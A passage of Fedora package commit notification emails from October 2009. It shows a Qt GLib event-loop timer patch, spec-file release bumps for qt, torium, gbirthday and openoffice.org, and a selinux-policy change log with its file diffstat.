+    }
+
+    return timerSourcePrepareHelper(timerSource, timeout);
+}
+
+static gboolean idleTimerSourceCheck(GSource *source)
+{
+    GIdleTimerSource *idleTimerSource = reinterpret_cast<GIdleTimerSource *>(source);
+    GTimerSource *timerSource = idleTimerSource->timerSource;
+    if (!timerSource->runWithIdlePriority) {
+        // Yield to the normal priority timer source
+        return false;
+    }
+    return timerSourceCheckHelper(timerSource);
+}
+
+static gboolean idleTimerSourceDispatch(GSource *source, GSourceFunc, gpointer)
+{
+    GTimerSource *timerSource = reinterpret_cast<GIdleTimerSource *>(source)->timerSource;
+    (void) timerSourceDispatch(&timerSource->source, 0, 0);
+    return true;
+}
+
+static GSourceFuncs idleTimerSourceFuncs = {
+    idleTimerSourcePrepare,
+    idleTimerSourceCheck,
+    idleTimerSourceDispatch,
+    NULL,
+    NULL,
+    NULL
+};
+
 struct GPostEventSource
 {
     GSource source;
@@ -235,14 +301,15 @@ QEventDispatcherGlibPrivate::QEventDispatcherGlibPrivate(GMainContext *context)
         g_main_context_ref(mainContext);
     } else {
         QCoreApplication *app = QCoreApplication::instance();
-	if (app && QThread::currentThread() == app->thread()) {
-	    mainContext = g_main_context_default();
-	    g_main_context_ref(mainContext);
-	} else {
-	    mainContext = g_main_context_new();
-	}
+        if (app && QThread::currentThread() == app->thread()) {
+            mainContext = g_main_context_default();
+            g_main_context_ref(mainContext);
+        } else {
+            mainContext = g_main_context_new();
+        }
     }
 
+    // setup post event source
     postEventSource = reinterpret_cast<GPostEventSource *>(g_source_new(&postEventSourceFuncs,
                                                                         sizeof(GPostEventSource)));
     postEventSource->serialNumber = 1;
@@ -257,14 +324,21 @@ QEventDispatcherGlibPrivate::QEventDispatcherGlibPrivate(GMainContext *context)
     g_source_set_can_recurse(&socketNotifierSource->source, true);
     g_source_attach(&socketNotifierSource->source, mainContext);
 
-    // setup timerSource
+    // setup normal and idle timer sources
     timerSource = reinterpret_cast<GTimerSource *>(g_source_new(&timerSourceFuncs,
                                                                 sizeof(GTimerSource)));
     (void) new (&timerSource->timerList) QTimerInfoList();
     timerSource->processEventsFlags = QEventLoop::AllEvents;
+    timerSource->runWithIdlePriority = false;
     g_source_set_can_recurse(&timerSource->source, true);
-    g_source_set_priority(&timerSource->source, G_PRIORITY_DEFAULT_IDLE);
     g_source_attach(&timerSource->source, mainContext);
+
+    idleTimerSource = reinterpret_cast<GIdleTimerSource *>(g_source_new(&idleTimerSourceFuncs,
+                                                                        sizeof(GIdleTimerSource)));
+    idleTimerSource->timerSource = timerSource;
+    g_source_set_can_recurse(&idleTimerSource->source, true);
+    g_source_set_priority(&idleTimerSource->source, G_PRIORITY_DEFAULT_IDLE);
+    g_source_attach(&idleTimerSource->source, mainContext);
 }
 
 QEventDispatcherGlib::QEventDispatcherGlib(QObject *parent)
@@ -272,12 +346,9 @@ QEventDispatcherGlib::QEventDispatcherGlib(QObject *parent)
 {
 }
 
-QEventDispatcherGlib::QEventDispatcherGlib(GMainContext *mainContext,
-					   QObject *parent)
-    : QAbstractEventDispatcher(*(new QEventDispatcherGlibPrivate(mainContext)),
-			       parent)
-{
-}
+QEventDispatcherGlib::QEventDispatcherGlib(GMainContext *mainContext, QObject *parent)
+    : QAbstractEventDispatcher(*(new QEventDispatcherGlibPrivate(mainContext)), parent)
+{ }
 
 QEventDispatcherGlib::~QEventDispatcherGlib()
 {
@@ -289,6 +360,9 @@ QEventDispatcherGlib::~QEventDispatcherGlib()
     g_source_destroy(&d->timerSource->source);
     g_source_unref(&d->timerSource->source);
     d->timerSource = 0;
+    g_source_destroy(&d->idleTimerSource->source);
+    g_source_unref(&d->idleTimerSource->source);
+    d->idleTimerSource = 0;
 
     // destroy socket notifier source
     for (int i = 0; i < d->socketNotifierSource->pollfds.count(); ++i) {
@@ -324,11 +398,16 @@ bool QEventDispatcherGlib::processEvents(QEventLoop::ProcessEventsFlags flags)
     // tell postEventSourcePrepare() and timerSource about any new flags
     QEventLoop::ProcessEventsFlags savedFlags = d->timerSource->processEventsFlags;
     d->timerSource->processEventsFlags = flags;
-    
+
+    if (!(flags & QEventLoop::EventLoopExec)) {
+        // force timers to be sent at normal priority
+        d->timerSource->runWithIdlePriority = false;
+    }
+
     bool result = g_main_context_iteration(d->mainContext, canWait);
     while (!result && canWait)
         result = g_main_context_iteration(d->mainContext, canWait);
-    
+
     d->timerSource->processEventsFlags = savedFlags;
 
     if (canWait)
diff --git a/src/corelib/kernel/qeventdispatcher_glib_p.h b/src/corelib/kernel/qeventdispatcher_glib_p.h
index eb7fb75..4103aa3 100644
--- a/src/corelib/kernel/qeventdispatcher_glib_p.h
+++ b/src/corelib/kernel/qeventdispatcher_glib_p.h
@@ -98,6 +98,7 @@ protected:
 struct GPostEventSource;
 struct GSocketNotifierSource;
 struct GTimerSource;
+struct GIdleTimerSource;
 
 class Q_CORE_EXPORT QEventDispatcherGlibPrivate : public QAbstractEventDispatcherPrivate
 {
@@ -108,6 +109,7 @@ public:
     GPostEventSource *postEventSource;
     GSocketNotifierSource *socketNotifierSource;
     GTimerSource *timerSource;
+    GIdleTimerSource *idleTimerSource;
 };
 
 QT_END_NAMESPACE
diff --git a/src/corelib/kernel/qeventdispatcher_unix.cpp b/src/corelib/kernel/qeventdispatcher_unix.cpp
index 897bb49..903b0eb 100644
--- a/src/corelib/kernel/qeventdispatcher_unix.cpp
+++ b/src/corelib/kernel/qeventdispatcher_unix.cpp
@@ -423,10 +423,10 @@ bool QTimerInfoList::timerWait(timeval &tm)
     // Find first waiting timer not already active
     QTimerInfo *t = 0;
     for (QTimerInfoList::const_iterator it = constBegin(); it != constEnd(); ++it) {
-	if (!(*it)->inTimerEvent) {
-	    t = *it;
-	    break;
-	}
+        if (!(*it)->inTimerEvent) {
+            t = *it;
+            break;
+        }
     }
 
     if (!t)


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.340
retrieving revision 1.341
diff -u -p -r1.340 -r1.341
--- qt.spec	29 Oct 2009 15:40:22 -0000	1.340
+++ qt.spec	30 Oct 2009 12:01:23 -0000	1.341
@@ -4,13 +4,13 @@
 # -no-pch disables precompiled headers, make ccache-friendly
 %define no_pch -no-pch
 
-%define _default_patch_fuzz 2
+%define _default_patch_fuzz 2 
 
 Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 7%{?dist}
+Release: 8%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -57,7 +57,10 @@ Patch53: qt-x11-opensource-src-4.5.0-fix
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
+# glib-event-loop regression
 Patch55: qt-x11-opensource-src-4.5.3-glib-event-loop.patch
+# or fix from http://bugs.kde.org/210171
+Patch155: http://www.davidfaure.fr/2009/qeventdispatcher_glib_fix.diff
 
 # security patches
 
@@ -392,7 +395,8 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
-%patch55 -p1 -b .glib-event-loop
+#patch55 -p1 -b .glib-event-loop
+%patch155 -p1 -b .qeventdispatcher_glib_fix
 
 # security fixes
 
@@ -989,6 +993,9 @@ fi
 
 
 %changelog
+* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-8
+- use upstream qeventdispatcher_glib_fix.diff (kde#210171)
+
 * Thu Oct 29 2009 Than Ngo <than at redhat.com> - 4.5.3-7
 - fix glib-even-loop issue, regression which causes
   Password dialogs get stuck



From leigh123linux at fedoraproject.org  Fri Oct 30 12:10:50 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Fri, 30 Oct 2009 12:10:50 +0000 (UTC)
Subject: rpms/torium/F-12 torium.spec,1.2,1.3
Message-ID: <20091030121050.A706211C00E8@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4541

Modified Files:
	torium.spec 
Log Message:
* Fri Oct 30 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-6
- bump to see if rb_libtorrent-0.14.6 is available



Index: torium.spec
===================================================================
RCS file: /cvs/pkgs/rpms/torium/F-12/torium.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- torium.spec	30 Oct 2009 07:02:47 -0000	1.2
+++ torium.spec	30 Oct 2009 12:10:49 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           torium
 Version:        0.4.2
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        A minimalistic, easily configurable torrent client for Linux 
 
 Group:          Applications/Internet
@@ -57,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-6
+- bump to see if rb_libtorrent-0.14.6 is available
+
 * Fri Oct 30 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-5
 - rebuild for rb_libtorrent-0.14.6
 



From tomspur at fedoraproject.org  Fri Oct 30 12:17:20 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Fri, 30 Oct 2009 12:17:20 +0000 (UTC)
Subject: rpms/gbirthday/devel .cvsignore, 1.3, 1.4 gbirthday.spec, 1.2,
	1.3 sources, 1.3, 1.4
Message-ID: <20091030121720.5ED0F11C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/gbirthday/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7345

Modified Files:
	.cvsignore gbirthday.spec sources 
Log Message:
Update to new Release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	22 Sep 2009 21:40:46 -0000	1.3
+++ .cvsignore	30 Oct 2009 12:17:19 -0000	1.4
@@ -1 +1 @@
-gbirthday-0.5.1.tar.lzma
+gbirthday-0.5.2.tar.xz


Index: gbirthday.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/devel/gbirthday.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gbirthday.spec	22 Sep 2009 21:40:46 -0000	1.2
+++ gbirthday.spec	30 Oct 2009 12:17:19 -0000	1.3
@@ -1,17 +1,19 @@
 Name:			gbirthday
-Version:		0.5.1
+Version:		0.5.2
 Release:		1%{?dist}
 Summary:		Birthday reminder for Evolution and some others
 Group:			User Interface/Desktops
 License:		GPLv2+
 URL:			http://gbirthday.sourceforge.net
-Source:			http://downloads.sourceforge.net/gbirthday/gbirthday-%{version}.tar.lzma
+Source:                 http://downloads.sourceforge.net/gbirthday/gbirthday-%{version}.tar.xz
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:		noarch
 
 BuildRequires:	desktop-file-utils
+BuildRequires:	gettext
 Requires:		evolution
 Requires:		python
+Requires:		MySQL-python
 Requires:		pygtk2
 
 %description
@@ -38,12 +40,14 @@ desktop-file-install \
 	--dir=%{buildroot}%{_sysconfdir}/xdg/autostart/ \
 	%{buildroot}/%{_datadir}/applications/%{name}.desktop
 
+%find_lang %{name}
+
 %clean
 rm -rf %{buildroot}
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc Changelog COPYING
+%doc Changelog COPYING README
 %{_bindir}/gbirthday
 %{_datadir}/applications/%{name}.desktop
 %{_datadir}/gbirthday/
@@ -51,6 +55,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
+- New Release
+
 * Wed Sep 23 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.1-1
 - New Release
 - Changing description (now also supports Thunderbird, Sunbird...


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Sep 2009 21:40:46 -0000	1.3
+++ sources	30 Oct 2009 12:17:19 -0000	1.4
@@ -1 +1 @@
-2fd93fcb42c483735536946359b5f52c  gbirthday-0.5.1.tar.lzma
+2987f83ad7c7b23832ae6d591c7e4a8c  gbirthday-0.5.2.tar.xz



From tomspur at fedoraproject.org  Fri Oct 30 12:18:55 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Fri, 30 Oct 2009 12:18:55 +0000 (UTC)
Subject: rpms/gbirthday/devel gbirthday.spec,1.3,1.4
Message-ID: <20091030121855.C1DD411C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/gbirthday/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8078

Modified Files:
	gbirthday.spec 
Log Message:
little problem with 'make tag'



Index: gbirthday.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/devel/gbirthday.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gbirthday.spec	30 Oct 2009 12:17:19 -0000	1.3
+++ gbirthday.spec	30 Oct 2009 12:18:55 -0000	1.4
@@ -1,6 +1,6 @@
 Name:			gbirthday
 Version:		0.5.2
-Release:		1%{?dist}
+Release:		2%{?dist}
 Summary:		Birthday reminder for Evolution and some others
 Group:			User Interface/Desktops
 License:		GPLv2+
@@ -56,6 +56,9 @@ rm -rf %{buildroot}
 
 %changelog
 * Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
+- little problem with 'make tag'
+
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
 - New Release
 
 * Wed Sep 23 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.1-1



From tomspur at fedoraproject.org  Fri Oct 30 12:22:07 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Fri, 30 Oct 2009 12:22:07 +0000 (UTC)
Subject: rpms/gbirthday/F-12 gbirthday.spec,1.2,1.3 sources,1.3,1.4
Message-ID: <20091030122207.5008611C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/gbirthday/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8999

Modified Files:
	gbirthday.spec sources 
Log Message:
Update to new release



Index: gbirthday.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/F-12/gbirthday.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gbirthday.spec	22 Sep 2009 21:40:46 -0000	1.2
+++ gbirthday.spec	30 Oct 2009 12:22:06 -0000	1.3
@@ -1,17 +1,19 @@
 Name:			gbirthday
-Version:		0.5.1
-Release:		1%{?dist}
+Version:		0.5.2
+Release:		2%{?dist}
 Summary:		Birthday reminder for Evolution and some others
 Group:			User Interface/Desktops
 License:		GPLv2+
 URL:			http://gbirthday.sourceforge.net
-Source:			http://downloads.sourceforge.net/gbirthday/gbirthday-%{version}.tar.lzma
+Source:                 http://downloads.sourceforge.net/gbirthday/gbirthday-%{version}.tar.xz
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:		noarch
 
 BuildRequires:	desktop-file-utils
+BuildRequires:	gettext
 Requires:		evolution
 Requires:		python
+Requires:		MySQL-python
 Requires:		pygtk2
 
 %description
@@ -38,12 +40,14 @@ desktop-file-install \
 	--dir=%{buildroot}%{_sysconfdir}/xdg/autostart/ \
 	%{buildroot}/%{_datadir}/applications/%{name}.desktop
 
+%find_lang %{name}
+
 %clean
 rm -rf %{buildroot}
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc Changelog COPYING
+%doc Changelog COPYING README
 %{_bindir}/gbirthday
 %{_datadir}/applications/%{name}.desktop
 %{_datadir}/gbirthday/
@@ -51,6 +55,12 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
+- little problem with 'make tag'
+
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
+- New Release
+
 * Wed Sep 23 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.1-1
 - New Release
 - Changing description (now also supports Thunderbird, Sunbird...


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Sep 2009 21:40:46 -0000	1.3
+++ sources	30 Oct 2009 12:22:06 -0000	1.4
@@ -1 +1 @@
-2fd93fcb42c483735536946359b5f52c  gbirthday-0.5.1.tar.lzma
+2987f83ad7c7b23832ae6d591c7e4a8c  gbirthday-0.5.2.tar.xz



From caolanm at fedoraproject.org  Fri Oct 30 12:23:53 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri, 30 Oct 2009 12:23:53 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec, 1.2054,
	1.2055 workspace.impress178.patch, 1.1, NONE
Message-ID: <20091030122353.B1E6E11C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9600

Modified Files:
	openoffice.org.spec 
Removed Files:
	workspace.impress178.patch 
Log Message:
drop integrated workspace.impress178.patch


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2054
retrieving revision 1.2055
diff -u -p -r1.2054 -r1.2055
--- openoffice.org.spec	30 Oct 2009 11:46:52 -0000	1.2054
+++ openoffice.org.spec	30 Oct 2009 12:23:52 -0000	1.2055
@@ -118,10 +118,9 @@ Patch44: openoffice.org-3.2.0.ooo105827.
 Patch45: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 Patch46: openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch
 Patch47: openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch
-Patch48: workspace.impress178.patch
-Patch49: workspace.impress180.patch
-Patch50: workspace.gsminhibit.patch
-Patch51: workspace.vcl107.patch
+Patch48: workspace.impress180.patch
+Patch49: workspace.gsminhibit.patch
+Patch50: workspace.vcl107.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1629,10 +1628,9 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch45 -p0 -b .ooo105988.svx.a11ycrash.patch
 %patch46 -p1 -b .rhbz521460.svx.revert-paper-sizes-reordering.patch
 %patch47 -p0 -b .ooo106032.linguistic.defaulttoplain.patch
-%patch48 -p0 -b .workspace.impress178.patch
-%patch49 -p0 -b .workspace.impress180.patch
-%patch50 -p1 -b .workspace.gsminhibit.patch
-%patch51 -p1 -b .workspace.vcl107.patch
+%patch48 -p0 -b .workspace.impress180.patch
+%patch49 -p1 -b .workspace.gsminhibit.patch
+%patch50 -p1 -b .workspace.vcl107.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4134,8 +4132,9 @@ fi
 
 %changelog
 * Fri Oct 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-3.1
-- Resolves: rhbz#531732 possible crash in about dialog with unfinished
+- Resolves: rhbz#531732 crash in about dialog with unfinished
   accelerator sequence
+- drop integrated workspace.impress178.patch
 - next milestone
 
 * Wed Oct 28 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.5


--- workspace.impress178.patch DELETED ---



From dwalsh at fedoraproject.org  Fri Oct 30 12:25:53 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 30 Oct 2009 12:25:53 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.124,
	1.125 selinux-policy.spec, 1.957, 1.958
Message-ID: <20091030122553.498E211C00E8@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10208

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-37
- Allow consolekit to manage /var/run/console directory
- Allow pcsd to r/w smartcard devices
- Temporarily allow xauth to read/write user_home_t
- Allow apache to read nagios log files
- Fix execmem to work correctly
- Stop transitioning from unconfined_t to iceauth


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    6 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   20 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   98 +
 policy/modules/admin/shorewall.fc         |    3 
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   71 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   75 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   52 +
 policy/modules/apps/livecd.te             |   27 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   59 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   38 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  126 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  428 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  446 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bitlbee.te        |    2 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.fc     |    3 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   21 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   44 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
